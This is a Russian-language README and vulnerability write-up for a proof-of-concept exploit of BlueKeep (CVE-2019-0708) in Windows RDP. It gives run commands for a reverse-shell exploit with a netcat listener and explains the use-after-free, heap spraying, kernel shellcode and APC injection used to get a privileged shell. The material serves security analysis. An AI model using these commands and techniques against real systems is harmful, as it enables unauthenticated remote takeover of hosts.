
Концепт-доказательство для CVE-2019-0708 (BlueKeep), позволяющее выполнить RCE без аутентификации на Windows7.
Этот репозиторий демонстрирует ошибку удаленного выполнения кода в службах удаленных рабочих столов Windows (RDS).
Здесь представлен код POC и технический отчет об уязвимости BlueKeep, который мы разработали ранее.
Примечание: Наша цель — помочь аналитикам лучше понять критические уязвимости.
Наш эксплойт написан на Python 3 и использует библиотеку PyRDP.
Пожалуйста, настройте их в соответствии с руководством по установке PyRDP.
В настоящее время наш эксплойт нацелен и протестирован на Windows 7 SP 1 (6.1.7601) x64 в Virtual Box.
Если ваш компьютер имеет IP-адрес 192.168.56.1 и вы атакуете RDP-сервер по адресу example.com:1234, введите:
$ python exploit.py example.com -rp 1234 192.168.56.1
Если скрипт успешно эксплуатирует сервер, connect-back shellcode инициирует TCP-соединение от сервера обратно к 192.168.56.1:4444. Поэтому, например, вы должны ожидать соединения с помощью netcat:
$ nc -v -l 4444
Если вы хотите изменить номер порта, к которому сервер подключается обратно, используйте опцию -bp:
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
В мае 2019 года Microsoft раскрыла критическую уязвимость удаленного выполнения кода CVE-2019-0708 в службах удаленных рабочих столов (ранее известных как терминальные службы). Эта уязвимость является предварительной аутентификацией — это означает, что уязвимость может распространяться как червь и способна вызвать массовые сбои.
Злоумышленник может использовать эту уязвимость, отправляя специально созданные сообщения протокола удаленного рабочего стола (RDP) на целевой сервер и получая произвольное выполнение кода с правами администратора.
Службы удаленных рабочих столов Microsoft предоставляют пользователю возможность удаленно открывать интерактивные сеансы Windows. Они отображают рабочий стол пользователя Windows, взаимодействуя с клиентом с помощью протокола удаленного рабочего стола (RDP) через порт 3389/TCP.
Протокол RDP может быть расширен с помощью программных расширений, называемых виртуальными каналами. Примеры функциональных улучшений могут включать: поддержку специальных типов оборудования, аудио или других дополнений к основной функциональности.
Эти каналы включают стандартные каналы Microsoft, такие как "rdpdr" (перенаправление), "rdpsnd" (звук), "cliprdr" (общий буфер обмена) и т.д. Пользователи могут писать модули с использованием API RDP для поддержки других каналов. В дополнение к вышеупомянутым каналам Microsoft создает два канала по умолчанию: MS_T120 (используется для самого RDP) и CTXTW (используется в Citrix ICA).
Уязвимость связана с процессом привязки виртуальных каналов MS_T120 через запрос "MCS Connect Initial и GCC Create".
Дополнительная информация доступна в ZDI.
Как упоминалось в статье ZDI, все виртуальные каналы, запрошенные клиентом, создаются с помощью termdd!IcaCreateChannel(). Затем указатели на эти структуры каналов хранятся в таблице, которую мы будем называть ChannelPointerTable.
При установке соединения с RDP-клиентом все статические виртуальные каналы, включая MS_T120, инициализируются внутренне сервером RDP Windows и указываются ChannelPointerTable.
Запрос на создание MS_T120 и CTXTW выполняется rdpcore!WDLIB_IcaVirtualQueryBindings().
Рис. 1: Формирование запроса на создание MS_T120 и CTXTW
После передачи запроса в termdd!IcaBindVirtualChannels() структура виртуального канала создается в termdd!IcaAllocateChannel() и регистрируется в ChannelPointerTable.
Рис. 2: Создание и регистрация структуры виртуального канала
Функция termdd!IcaBindChannel() отвечает за регистрацию структуры виртуального канала в ChannelPointerTable.

Вот стек вызовов на Windows 7 x64, когда termdd!IcaBindChannel() вызывается с первым аргументом "MS_T120" и третьим аргументом 0x1f.
Рис. 3: MS_T120 привязывается к слоту 0x1f во время начального запроса
Тогда ChannelPointerTable выглядит следующим образом. Обратите внимание, что MS_T120 всегда присутствует в Слоте 0x1F.
Рис. 4: ChannelPointerTable во время начального запроса
Уязвимость типа use-after-free существует в драйвере ядра RDP Windows, termdd.sys.
Проблема в том, что когда клиент указывает канал с именем MS_T120\x00 во время "MCS Connect Initial и GCC Create", termdd!IcaCreateChannel() вызывает termdd!IcaFindChannelByName() и возвращает
существующую структуру канала MS_T120 в слоте 0x1F. Затем эта структура канала считается новой записью виртуального канала и сохраняется в другом слоте (в данном примере, Слот 2) во время "MCS Attach User Request".
Вот стек вызовов на Windows 7 x64, когда termdd!IcaBindChannel() вызывается с первым аргументом "MS_T120" и третьим аргументом 0x2.
Рис. 5: MS_T120 также привязывается к слоту 0x2 во время запроса присоединения
Другими словами, структура канала MS_T120 указывается двумя слотами 0x1F и 0x2.
Рис. 6: ChannelPointerTable во время запроса присоединения
Если злоумышленник затем отправляет недопустимые данные в канал MS_T120, termdd.sys закрывает канал с помощью termdd!IcaCloseChannel() и очищает указатель в слоте (в данном примере Слот 2).
Однако тот же указатель в слоте 0x1F не очищается.
Впоследствии, при завершении соединения, вызывается RDPWD!HandleDisconnectProviderUlt(), который, в свою очередь, вызывает termdd!IcaChannelInputInternal() и снова пытается уничтожить освобожденную структуру канала MS_T120, используя указатель в слоте 0x1F. Процедура уничтожения вызывается через указатель vtable внутри структуры канала. Это приводит к состоянию use-after-free.
Рис. 7: Разыменование vtable
Как объяснялось в предыдущем разделе, RDPWD!HandleDisconnectProviderUlt() пытается вызвать функцию через указатель vtable в освобожденной структуре канала. Если злоумышленник может контролировать значения в структуре канала, он может перезаписать указатель vtable, что приведет к произвольному выполнению кода с привилегиями ядра.
Однако для этого необходимо преодолеть две трудности.
Первая — как изначально контролировать значения в освобожденной структуре канала. Для этого типично и надежно для злоумышленника выделить память в том же месте, где находится освобожденная структура, поскольку целевая уязвимость — use-after-free.
Однако в данном случае у него нет детерминированного способа выделить свою память в целевом месте по своему желанию.
Это происходит потому, что в ядре одновременно работают множество потоков и выделяют память (фактически одновременно). Где будет выделена его память, зависит от порядка выполнения потоков. Почти во всех случаях он не может быть уверен, удалось ли ему успешное выделение.


Вторая — куда установить адреса vtable и указателей в нем. Как мы видели в предыдущем разделе, злоумышленник должен установить адрес vtable. Поскольку он хочет получить произвольное выполнение кода, он должен установить такой адрес, чтобы поддельный vtable содержал адрес, который он хочет выполнить (например, адрес шеллкода или какого-то гаджета). Однако почти наверняка он не может узнать такой подходящий адрес из-за вышеупомянутой случайности кучи ядра и KASLR:
Эти факты означают, что злоумышленник не может напрямую получить произвольное выполнение кода, даже если он может контролировать указатель vtable, если только он не использует другую уязвимость, которая утекает адреса в ядре. Более того, как вы можете заметить, "адрес шеллкода или какого-то гаджета" также то, что злоумышленник не может узнать.
Наш эксплойт справляется с этими препятствиями с помощью единственной техники: heap spraying. Heap spraying — это метод, нарушающий эту случайность, путем большого количества выделений большого объема памяти.
Рис. 8: Использование пула кучи до spraying
Рис. 9: Использование пула кучи после spraying
Повторяя специально созданные выделения множество раз, злоумышленник может увеличить вероятность того, что какая-то из выделенных областей окажется в расположении освобожденной структуры канала.
Если большинство объектов в куче ядра — это объекты, подготовленные злоумышленником, то он может даже небрежно указать некоторый адрес в куче как адрес поддельного vtable, потому что указанный адрес с высокой вероятностью будет указывать на его объекты. Отметим, что базовый адрес кучи ядра не рандомизируется KASLR. В основном случайность кучи возникает только из порядка выполнения потоков.
К счастью и, что наиболее важно, в Windows 7 бит NX не включен в нестраничном пуле ядра. Это означает, что злоумышленник может хранить в куче ядра не только поддельный vtable, но и непосредственно шеллкод. Это значительно упрощает эксплуатацию, поскольку нам не нужно использовать return-oriented programming.
Рис. 10: Разрешения записи таблицы страниц (PTE)
Для heap spraying злоумышленнику, очевидно, нужна функциональность, позволяющая выделять память в куче ядра и вводить в нее данные. Основываясь на отчете Unit 42 и эксплойте BlueKeep в Metasploit, мы искали драйверы ядра, которые предоставляют такую функциональность. Мы протестировали множество PDU и в итоге пришли к выводу, что наиболее надежный и полезный способ — отправлять PDU виртуального канала на канал rdpsnd, как это делает эксплойт Metasploit. Для справки, объясним, почему мы не смогли применить три типа PDU, представленные в отчете Unit 42:
PDU виртуального канала, как следует из названия, обменивается между клиентом и сервером для передачи данных статическим виртуальным каналам. Что касается того, как обрабатываются данные внутри PDU, это зависит от канала. Среди нескольких известных каналов, которые Microsoft предоставляет в качестве расширений, канал rdpsnd имеет уникальную особенность: он принимает любые входные данные и выделяет для них память. Поскольку этот канал используется по умолчанию в Windows 7, мы можем просто отправлять наши полезные нагрузки на него для heap spraying.
Мы написали proof of concept с учетом вышеупомянутых важных моментов и успешно достигли произвольного выполнения кода.
Рис. 11: Управляемый адрес vtable
Рис. 12: Успешно перезаписан адрес vtable вредоносным, указывающим на шеллкод (ud2)
Хотя мы описали, как выполнить шеллкод в предыдущем разделе, на самом деле это еще не все. Шеллкод выполняется в пространстве ядра, в то время как злоумышленнику нужны административные привилегии в "пользовательском режиме". Теоретически они похожи по тому, что можно с ними сделать, но различаются по тому, как можно реализовать желаемые действия. Например, с помощью шеллкода злоумышленнику может потребоваться написать сотни строк ассемблерного кода для вывода списка файлов в каком-то каталоге, тогда как с привилегированной оболочкой он может просто ввести «dir».
Таким образом, цель нашего эксплойта — предоставить злоумышленнику привилегированную оболочку, и для этого требуется еще несколько усилий. Поскольку шеллкод выполняется в пространстве ядра, сначала шеллкод должен найти или создать (привилегированный) поток пользовательского режима, а затем выполнить cmd.exe в этом потоке. На этот раз нам нужно рассмотреть два вопроса: как найти или создать поток и как выделить память в пользовательском режиме для выполнения шеллкода в пользовательском режиме.
Первый вопрос о поиске потока пользовательского режима возникает из-за того, что контекст, в котором выполняется шеллкод, не является обычным контекстом процесса. Если он выполняется в контексте процесса, он может просто использовать инструкцию IRET для возврата в пользовательский режим. Однако в данном случае выполнение IRET приводит к зависанию ядра. Существует несколько способов решить эту проблему, но среди них наиболее общим и полезным методом является асинхронный вызов процедуры (APC) — механизм, предоставляемый Windows для обработки асинхронных событий. APC позволяет программе выполнять функции в контексте указанного потока даже другого процесса. С помощью этого механизма шеллкод может легко и легально создать новый поток пользовательского режима.
При регистрации APC необходимо указать адрес, с которого новый поток пользовательского режима начнет выполнение. Однако до сих пор мы выделяли память только в куче ядра, к которой поток пользовательского режима явно не может получить доступ. Чтобы выполнить шеллкод пользовательского режима, мы должны подготовить другое место в памяти, видимое из пользовательского режима, и сохранить там шеллкод. Таким образом, мы сталкиваемся со вторым вопросом: выделение памяти в пользовательском режиме. Один из возможных и обычных способов решения этой проблемы — создание нового отображения с помощью ZwAllocateVirtualMemory. Однако это немного избыточно, и на самом деле в Windows 7 есть более простой способ: использование KUSER_SHARED_DATA. KUSER_SHARED_DATA — это структура данных, хранящаяся в выделенном отображении, которое отображается как в пользовательском, так и в режиме ядра и находится по фиксированному адресу (0x7FFE0000 и 0xFFFFF78000000000 соответственно). Это функция, аналогичная vsyscall в Linux. Если мы сохраним шеллкод пользовательского режима в этом отображении, все будет работать: шеллкод режима ядра может скопировать шеллкод пользовательского режима в это отображение и зарегистрировать APC без труда, поскольку он знает адрес отображения.
Рис. 13: Шеллкод хранится в выделенном отображении, 0x7FFE0000 (пользовательский режим) и 0xFFFFF78000000000 (режим ядра)
Рис. 14: Тело шеллкода
Эта уязвимость получила номер CVE CVE-2019-0708. Microsoft уже выпустила патч безопасности KB4499175 15 мая 2019 года.
Более подробную информацию об уязвимости, затронутых версиях и смягчении последствий можно найти здесь.
Этот проект был частично поддержан Advanced Technology Lab, компанией Recruit Co.,Ltd.
